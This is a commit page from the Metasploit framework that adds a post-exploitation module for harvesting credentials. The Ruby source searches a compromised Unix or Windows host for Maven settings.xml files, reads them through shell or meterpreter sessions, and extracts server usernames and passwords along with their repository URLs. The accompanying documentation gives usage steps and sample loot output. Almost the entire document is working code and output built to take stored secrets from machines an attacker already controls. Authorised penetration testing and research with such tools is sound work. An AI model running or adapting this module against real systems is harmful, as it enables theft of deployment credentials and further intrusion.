Skip to content

Commit a0181a4

Browse files
author
Brent Cook
committed
Land rapid7#8831, Add Maven post-exploitation credential extraction module
Merge remote-tracking branch 'upstream/pr/8831' into upstream-master
2 parents c15968e + a806707 commit a0181a4

File tree

2 files changed

+214
-0
lines changed

2 files changed

+214
-0
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
## Vulnerable Application
2+
3+
[Maven](https://maven.apache.org/) a software project management.
4+
This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
5+
Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or
6+
<repository> tag in order to find the full realm the credentials belong to.
7+
8+
This module was successfully tested against:
9+
10+
- Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
11+
- Debian 9 and Maven 3.0.5 with shell and meterpreter as session type
12+
13+
## Verification Steps
14+
15+
1. Get a `shell` or `meterpreter` session on some host.
16+
2. Do: ```use post/multi/gather/maven_creds```
17+
3. Do: ```set SESSION [SESSION_ID]```
18+
4. Do: ```run```
19+
5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.
20+
21+
## Scenarios
22+
23+
### Ubuntu 14.04 and Maven version 3.0.5
24+
25+
```
26+
msf post(maven_creds) > run
27+
28+
[*] Finding user directories
29+
[*] Unix OS detected
30+
[*] Looting 19 files
31+
[*] Downloading /home/user/settings.xml
32+
[*] Reading settings.xml file from /home/user/settings.xml
33+
[*] Collected the following credentials:
34+
[*] Id: server-nexus-dev
35+
[*] Username: deploynexus-dev
36+
[*] Password: password-dev
37+
[*] Try to find url from id...
38+
[*] No url found, id will be set as realm
39+
40+
[*] Collected the following credentials:
41+
[*] Id: server-nexus-int
42+
[*] Username: deploynexus-int
43+
[*] Password: password-int
44+
[*] Try to find url from id...
45+
[*] Found url in mirror : http://www.myhost.com/int
46+
47+
[*] Collected the following credentials:
48+
[*] Id: server-nexus-prd
49+
[*] Username: deploynexus-prd
50+
[*] Password: password-prd
51+
[*] Try to find url from id...
52+
[*] Found url in repository : http://www.myhost.com/prd
53+
54+
55+
msf post(maven_creds) > creds
56+
57+
Credentials
58+
===========
59+
60+
host origin service public private realm private_type
61+
---- ------ ------- ------ ------- ----- ------------
62+
deploynexus-dev password-dev server-nexus-dev Password
63+
deploynexus-int password-int http://www.myhost.com/int Password
64+
deploynexus-prd password-prd http://www.myhost.com/prd Password
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
2+
##
3+
# This module requires Metasploit: https://metasploit.com/download
4+
# Current source: https://github.com/rapid7/metasploit-framework
5+
##
6+
7+
require 'nokogiri'
8+
9+
class MetasploitModule < Msf::Post
10+
include Msf::Post::File
11+
include Msf::Post::Unix
12+
13+
def initialize(info={})
14+
super( update_info(info,
15+
'Name' => 'Multi Gather Maven Credentials Collection',
16+
'Description' => %q{
17+
This module will collect the contents of all users settings.xml on the targeted
18+
machine.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => ['elenoir'],
22+
'Platform' => %w{ bsd linux osx unix win },
23+
'SessionTypes' => ['shell','meterpreter']
24+
))
25+
end
26+
27+
def gathernix
28+
print_status("Unix OS detected")
29+
files = cmd_exec('locate settings.xml').split("\n")
30+
# Handle case where locate does not exist (error is returned in first element)
31+
if files.length == 1 && !directory?(files.first)
32+
files = []
33+
paths = enum_user_directories.map {|d| d}
34+
if paths.nil? || paths.empty?
35+
print_error("No users directory found")
36+
return
37+
end
38+
paths.each do |path|
39+
path.chomp!
40+
file = "settings.xml"
41+
target = "#{path}/#{file}"
42+
if file? target
43+
files.push(target)
44+
end
45+
end
46+
end
47+
return files
48+
end
49+
50+
def gatherwin
51+
print_status("Windows OS detected")
52+
return cmd_exec('cd\ && dir settings.xml /b /s').split("\n")
53+
end
54+
55+
def run
56+
print_status("Finding user directories")
57+
files = ""
58+
case session.platform
59+
when 'windows'
60+
files = gatherwin
61+
when 'unix', 'linux', 'bsd', 'osx'
62+
files = gathernix
63+
else
64+
print_error("Incompatible platform")
65+
end
66+
if files.nil? || files.empty?
67+
print_error("No settings.xml file found")
68+
return
69+
end
70+
download_loot(files)
71+
end
72+
73+
def download_loot(files)
74+
print_status("Looting #{files.count} files")
75+
files.each do |target|
76+
target.chomp!
77+
if file? target
78+
print_status("Downloading #{target}")
79+
extract(target)
80+
end
81+
end
82+
end
83+
84+
def parse_settings(target, data)
85+
xml_doc = Nokogiri::XML(data)
86+
xml_doc.remove_namespaces!
87+
88+
xml_doc.xpath("//server").each do |server|
89+
id = server.xpath("id").text
90+
username = server.xpath("username").text
91+
password = server.xpath("password").text
92+
93+
print_status("Collected the following credentials:")
94+
print_status(" Id: %s" % id)
95+
print_status(" Username: %s" % username)
96+
print_status(" Password: %s" % password)
97+
98+
print_status("Try to find url from id...")
99+
realm = ""
100+
101+
xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|
102+
realm = mirror.xpath("url").text
103+
print_status("Found url in mirror : #{realm}")
104+
end
105+
106+
if realm.blank?
107+
xml_doc.xpath("//repository[id = '#{id}']").each do |repository|
108+
realm = repository.xpath("url").text
109+
print_status("Found url in repository : #{realm}")
110+
end
111+
end
112+
113+
if realm.blank?
114+
print_status("No url found, id will be set as realm")
115+
realm = id
116+
end
117+
118+
print_line("")
119+
120+
credential_data = {
121+
origin_type: :import,
122+
module_fullname: self.fullname,
123+
filename: target,
124+
service_name: 'maven',
125+
realm_value: realm,
126+
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
127+
private_type: :password,
128+
private_data: password,
129+
username: username,
130+
workspace_id: myworkspace_id
131+
}
132+
create_credential(credential_data)
133+
end
134+
end
135+
136+
def extract(target)
137+
print_status("Reading settings.xml file from #{target}")
138+
data = ""
139+
if session.type == "shell"
140+
data = session.shell_command("cat #{target}")
141+
else
142+
settings = session.fs.file.new("#{target}", "rb")
143+
until settings.eof?
144+
data << settings.read
145+
end
146+
end
147+
148+
parse_settings(target, data)
149+
end
150+
end

0 commit comments

Comments
 (0)